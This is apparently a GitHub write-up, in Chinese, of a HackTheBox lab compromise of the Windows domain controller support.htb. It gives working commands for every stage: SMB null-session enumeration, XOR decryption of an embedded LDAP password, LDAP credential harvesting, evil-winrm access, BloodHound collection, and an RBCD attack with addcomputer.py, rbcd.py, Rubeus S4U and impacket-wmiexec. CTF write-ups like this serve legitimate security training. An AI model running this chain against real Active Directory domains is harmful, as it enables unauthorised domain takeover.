anxs3c/support_machine_writeup

GitHub: anxs3c/support_machine_writeup

该仓库记录了对 HackTheBox 平台 Windows 域控机器 support.htb 的完整渗透过程,展示了从 SMB 枚举到 RBCD 攻击实现域入侵的技术细节。

Stars: 1 | Forks: 0

## 攻击报告/Write-up - support.htb ### 关于目标 Support 是一台 Windows 机器,具有一个允许匿名身份验证的 SMB 共享。连接到该共享后,发现了一个可执行文件,该文件用于查询机器的 LDAP 服务器以获取可用用户。通过逆向工程、网络分析或仿真,识别出该二进制文件用于绑定 LDAP 服务器的密码,并可用于进行进一步的 LDAP 查询。在用户列表中识别出了一个名为 support 的用户,并发现其 info 字段包含他的密码,从而允许通过 WinRM 连接到该机器。一旦进入机器,就可以通过 SharpHound 收集域信息,BloodHound 显示 support 用户所属的 Shared Support Accounts 组对域控制器具有 GenericAll 权限。随后执行了基于资源的约束委派攻击,并获得了 NT Authority\System 的 shell。 ### 攻击阶段: **阶段 1** - `侦察`
**阶段 2** - `SMB 枚举`
**阶段 3** - `逆向工程与解密`
**阶段 4** - `LDAP 枚举`
**阶段 5** - `WinRM 访问`
**阶段 6** - `BloodHound 枚举`
**阶段 7** - `RBCD 攻击与权限提升`
**阶段 8** - `域入侵`


### 阶段 1 - 侦察 - 枚举 我首先使用 nmap 对目标 IP 地址进行了初步的主动侦察扫描,结果显示该设备是一台开放了重要端口的域控制器。
### 扫描结果: | 端口 | 服务 | 描述 | |------|---------|-------------| | 53 | DNS | 域名系统 - 将名称转换为 IP | | 88 | Kerberos | Active Directory 的身份验证协议 (TGT/TGS 票据) | | 135 | RPC | 远程过程调用 | | 139 | NetBIOS | 旧版共享系统 | | 389 | LDAP | 轻量级目录访问协议 - Active Directory 数据库 | | 445 | SMB | 服务器消息块 - 文件共享,横向移动 | | 464 | kpasswd | Kerberos 密码更改协议 | | 593 | RPC over HTTP | 远程控制服务 | | 636 | LDAPS | 安全 LDAP (加密) | | 3268 | Global Catalog (LDAP) | 允许在 AD 林中搜索任何对象 | | 3269 | Global Catalog (SSL) | 安全全局编录 | ### 目标信息: | 字段 | 值 | |-------|-------| | **目标 IP** | 10.126.230.181 | | **操作系统** | Microsoft Windows Server | | **主机名** | 域控制器 | | **域名** | support.htb | ### 阶段 2 - SMB 枚举 我使用 `smbclient` 通过无需密码的空会话身份验证枚举并列出了可用的 `SMB 共享` ``` smbclient -L //10.129.230.181 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share ``` 我成功地在没有提供凭据的情况下访问了 `support-tools` 共享,并下载了一个名为 `UserInfo.exe.zip` 的可疑文件

``` smbclient //10.129.230.181/support-tools -N smb: \> ls . D 0 Wed Jul 20 18:01:06 2022 .. D 0 Sat May 28 12:18:25 2022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 12:19:19 2022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 12:19:55 2022 putty.exe A 1273576 Sat May 28 12:20:06 2022 SysinternalsSuite.zip A 48102161 Sat May 28 12:19:31 2022 UserInfo.exe.zip A 277499 Wed Jul 20 18:01:07 2022 windirstat1_1_2_setup.exe A 79171 Sat May 28 12:20:17 2022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 12:19:43 2022 smb: \> get UserInfo.exe.zip getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip ```
### 阶段 3 - 逆向工程与解密 提取 ZIP 归档文件的内容后,我分析了提取的文件,并确定 `UserInfo.exe` 二进制文件包含敏感数据。 我通过 `ghidra` 对程序进行了逆向,在整个文件中使用了 strings 命令,发现了一个 `enc_password` 变量和一个 `getPassword` 函数,这表明密码是加密的。 然后我使用 `xxd` 在十六进制转储中定位到了加密密码

``` 00001e20: 656e 7472 7900 0000 0061 3000 4e00 7600 entry....a0.N.v. 00001e30: 3300 3200 5000 5400 7700 6700 5900 6a00 3.2.P.T.w.g.Y.j. 00001e40: 7a00 6700 3900 2f00 3800 6a00 3500 5400 z.g.9./.8.j.5.T. 00001e50: 6200 6d00 7600 5000 6400 3300 6500 3700 b.m.v.P.d.3.e.7. 00001e60: 5700 6800 7400 5700 5700 7900 7500 5000 W.h.t.W.W.y.u.P. 00001e70: 7300 7900 4f00 3700 3600 2f00 5900 2b00 s.y.O.7.6./.Y.+. 00001e80: 5500 3100 3900 3300 4500 000f 6100 7200 U.1.9.3.E...a.r. 00001e90: 6d00 6100 6e00 6400 6f00 0025 4c00 4400 m.a.n.d.o ``` #### 我提取了哈希和密钥: **enc_password** = `0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E`
**key** = `armando` 我发现解密方法使用了 XOR 加密,使用了密钥 "armando" 和常量值 223。 我编写了这个 python 脚本来逆转 XOR 加密并解码 base64 编码的密码 ``` import base64 enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" key = "armando" enc_bytes = base64.b64decode(enc_password) decrypted = [] for i in range(len(enc_bytes)): decrypted_char = enc_bytes[i] ^ ord(key[i % len(key)]) ^ 223 decrypted.append(decrypted_char) password_res = bytes(decrypted).decode('utf-8') print(f"decrypted password: {password_res}") ``` 解密后,真实密码为:`nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz`
### 阶段 4 - LDAP 枚举 通过获取 `ldap` 服务账户的凭据,我对域控制器执行了 LDAP 枚举。 ``` ldapsearch -x -H ldap://10.129.228.244 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' ```
LDAP 结果中最重要的信息是: ``` + domain : dn: DC=support,DC=htb dc: support ms-DS-MachineAccountQuota: 10 msDS-Behavior-Version: 7 + administrator user : dn: CN=Administrator,CN=Users,DC=support,DC=htb objectSid: S-1-5-21-1677581083-3380853377-188903654-500 userAccountControl: 512 (Enabled) memberOf: Domain Admins, Enterprise Admins, Schema Admins, Administrators + kerberos : krbtg account dn: CN=krbtgt,CN=Users,DC=support,DC=htb objectSid: S-1-5-21-1677581083-3380853377-188903654-502 + domain controller : dn: CN=DC,OU=Domain Controllers,DC=support,DC=htb dNSHostName: dc.support.htb operatingSystem: Windows Server 2022 Standard + groups : CN=Domain Admins,CN=Users,DC=support,DC=htb CN=Enterprise Admins,CN=Users,DC=support,DC=htb CN=Remote Management Users,CN=Builtin,DC=support,DC=htb + user : support dn: CN=support,CN=Users,DC=support,DC=htb info: Ironside47pleasure40Watchful memberOf: Remote Management Users memberOf: Shared Support Accounts ``` 从这些结果中,我发现一个名为 `support` 的 `用户` 能够通过 WinRM `远程访问域控制器`,因为他是远程管理用户组的成员,而且他的密码在 info 属性中暴露了出来:`Ironside47pleasure40Watchful`
### 阶段 5 - WinRM 访问 我使用 `support 用户` 的凭据通过 `WinRM` 登录到了 `域控制器` ``` evil-winrm -i 10.129.228.244 -u support -p 'Ironside47pleasure40Watchful' ```

然后我使用 `bloodhound` 对域进行枚举,发现 `support 用户` 对域控制器具有 `GenericAll 权限`,这允许我执行 `RBCD`(基于资源的约束委派)攻击以入侵整个域。 我利用 support 的凭据通过 `evil-winrm` 向域控制器进行身份验证,建立了远程 powershell 会话,并确认我的用户上下文为 support\support。 我成功获取了 `USER FLAG`,作为在域控制器上建立立足点访问的证明。

### 阶段 6 - BloodHound 枚举 以 support 用户身份建立 `初步访问` 后,我需要了解 `Active Directory 环境` 并识别潜在的权限提升路径。我部署了 `BloodHound` 来映射域结构并分析权限。 我将 `SharpHound.exe` 上传到 `域控制器` 并 `收集了 Active Directory 数据`
我将数据导入到 BloodHound 中,发现 support 用户对域控制器拥有 `GenericAll` 权限。 **步骤 1** - 确认当前位置 在进行枚举之前,我验证了我在域控制器上的当前上下文和权限。 ``` *Evil-WinRM* PS C:\Users\support\Desktop> whoami support\support ``` ``` *Evil-WinRM* PS C:\Users\support\Desktop> hostname dc ``` ``` *Evil-WinRM* PS C:\Users\support\Desktop> ipconfig Windows IP Configuration Ethernet adapter Ethernet0: IPv4 Address. . . . . . . . . . . : 10.129.228.244 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.129.228.1 ``` ``` *Evil-WinRM* PS C:\Users\support\Desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled ``` ``` *Evil-WinRM* PS C:\Users\support\Desktop> whoami /groups GROUP INFORMATION ----------------- BUILTIN\Remote Management Users Mandatory group, Enabled by default BUILTIN\Users Mandatory group, Enabled by default NT AUTHORITY\NETWORK Mandatory group, Enabled by default NT AUTHORITY\Authenticated Users Mandatory group, Enabled by default ``` 执行了几个额外的枚举命令以映射环境。
分析:`support 用户` 是 `Remote Management Users 组` 的 `成员`,这赋予了 WinRM 访问权限,但是,该用户并不具备直接的管理员权限
因此,我需要识别并执行权限提升攻击以获得更高级别的访问权限。 **步骤 2** - 上传并执行 bloodhound 收集器 我将 `BloodHound 数据收集器` `SharpHound.exe` 上传到了域控制器。 ``` *Evil-WinRM* PS C:\Users\support\Desktop> upload SharpHound.exe ``` 为了收集全面的 Active Directory 数据,我使用 `All` 收集方法执行了 `SharpHound.exe`,这捕获了有关用户、组、计算机、ACL、信任关系和其他域对象的信息。 ``` *Evil-WinRM* PS C:\Users\support\Desktop> .\SharpHound.exe -c All ``` 收集完成后,我将压缩后的数据下载到了我的攻击机上。 ``` *Evil-WinRM* PS C:\Users\support\Desktop> res_bloodHound.zip ``` **步骤 3** - 使用 bloodhound 分析收集的数据 我设置了 `neo4j` 数据库服务,然后在我的攻击机上启动了 `BloodHound` 并导入了收集的数据。 ``` sudo neo4j start ``` ``` bloodhound ``` 最重要的 bloodhound 结果:




BloodHound 分析识别出 support 用户对域控制器 (dc.support.htb) 拥有 `GenericAll 权限`。 这个权限非常强大,因为它授予了对计算机对象的完全控制权,允许修改 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性。在评估了潜在的攻击向量后,我确定 Kerberoasting 和 AS-REP Roasting 由于不存在易受攻击的账户而不可行。相反,我选择了基于资源的约束委派 `RBCD 攻击`,因为在域控制器上的 `GenericAll` 权限是此技术的直接先决条件。此外,该域的 `ms-DS-MachineAccountQuota` 设置为 10,使我能够创建一个 `虚假计算机账户` 作为 `委派` 中介。 我选择 `RBCD 攻击` 而不是 `其他方法`,因为: - `直接利用`:
对计算机对象的 GenericAll 可以直接用于配置 RBCD,而无需额外的权限
- `MachineAccountQuota`:
该域的 ms-DS-MachineAccountQuota 设置为 10,允许我创建一个虚假计算机账户——这是 RBCD 的先决条件
- `WinRM 访问`:
support 用户已经拥有 WinRM 访问权限,使我能够在 DC 上上传工具并执行命令
- `与其他替代方案比较`:
Kerberoasting:未检测到易受攻击的 SPN
DCSync:将需要已经具备 Domain Admin 权限
Golden Ticket:将需要先提取 krbtgt 哈希

### 阶段 7 - RBCD 攻击与权限提升 在发现 support 用户对域控制器具有 GenericAll 权限后,我创建了一个名为 ANR$ 的虚假计算机账户,并配置了基于资源的约束委派 (RBCD) 以允许该虚假设备模拟任何用户

**步骤 1** - 创建虚假计算机账户 ``` export TARG_IP="10.129.101.216" ``` ``` python3 addcomputer.py -computer-name 'ANR$' -computer-pass "passtopass" -dc-host $TARG_IP 'support.htb/support:Ironside47pleasure40Watchful' ``` 这一步之所以可行,是因为该域的 ms-DS-MachineAccountQuota 被设置为 10,允许任何经过身份验证的用户创建最多 10 个计算机账户

**步骤 -2-** 计算 RC4 哈希 我计算了虚假计算机账户密码的 (RC4: Rivest Cipher 4) (NTLM: NT LAN Manager) 哈希,这是攻击所需要的。 ``` python3 -c "import hashlib; print(hashlib.new('md4', 'passtopass'.encode('utf-16le')).hexdigest())" ```

**步骤 -3-** 在域控制器上配置 RBCD 使用 `rbcd.py` 脚本模块,我授予了虚假计算机账户 `ANR$` 在域控制器 `DC$` 上 `模拟` 任何用户的权限。 ``` python3 rbcd.py -delegate-from 'ANR$' -delegate-to 'DC$' -action write 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip $TARG_IP ```

**步骤 -4-** 通过 S4U2Proxy 请求 Administrator 票据 我利用现有的 WinRM 会话将 `Rubeus2.exe` 上传到了域控制器,并执行了 `S4U2Proxy 攻击`。 ``` *Evil-WinRM* PS C:\Users\support\Desktop> upload /home/ANRx07/Desktop/AD-DC_Pentesting/Rubeus/Rubeus2.exe ```
``` *Evil-WinRM* PS C:\Users\support\Desktop> .\Rubeus2.exe s4u /user:ANR$ /rc4:c8985874e37925d423423b330fe4e905 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /outfile:admin.kirbi ```


### 阶段 8 - 域入侵 信任我之前设置的 RBCD 配置的域控制器,为 Administrator 用户颁发了有效的服务票据。 当我使用 `Rubeus` 通过 `ANR$ 账户` 为 `Administrator 用户` 请求 `Kerberos 票据` 时,`域控制器` **信任**了该**请求**,因为我之前已经设置了 `RBCD 配置`
DC 为 Administrator 用户颁发了有效的服务票据,然后我利用该票据以 `NT AUTHORITY\SYSTEM` 的身份向域控制器进行**身份验证**,实现了完全的域入侵。 **票据转换:** 我将 Kerberos 票据从 `.kirbi` 格式转换为 `.ccache` 格式,并以 NT AUTHORITY\SYSTEM 的身份向域控制器进行了身份验证。 ``` impacket-ticketConverter admin_cifs_dc.support.htb.kirbi admin.ccache ```
**激活票据:** 我将该票据设置为用于 Kerberos 身份验证的活动凭据缓存: ``` export KRB5CCNAME=$(pwd)/admin.ccache ```
**验证票据:** 我使用 klist 确认票据已成功加载: ``` klist ```
**Administrator 访问:** 最后,我使用 Kerberos 身份验证以 Administrator 的身份向域控制器进行了身份验证: ``` impacket-wmiexec -k -no-pass administrator@dc.support.htb ``` 连接成功后,我导航到 Administrator 的桌面并找到了 `root flag`,完全 `域入侵` 的证明。

#### 我成功入侵了整个 Active Directory 域
### 免责声明:所有这些操作均是在合法环境下进行的
标签:AI合规, Checkov, HTTP, Web报告查看器, 云资产清单, 协议分析, 安全报告, 插件系统, 数据展示, 权限提升, 活动目录, 红队, 逆向工具, 逆向工程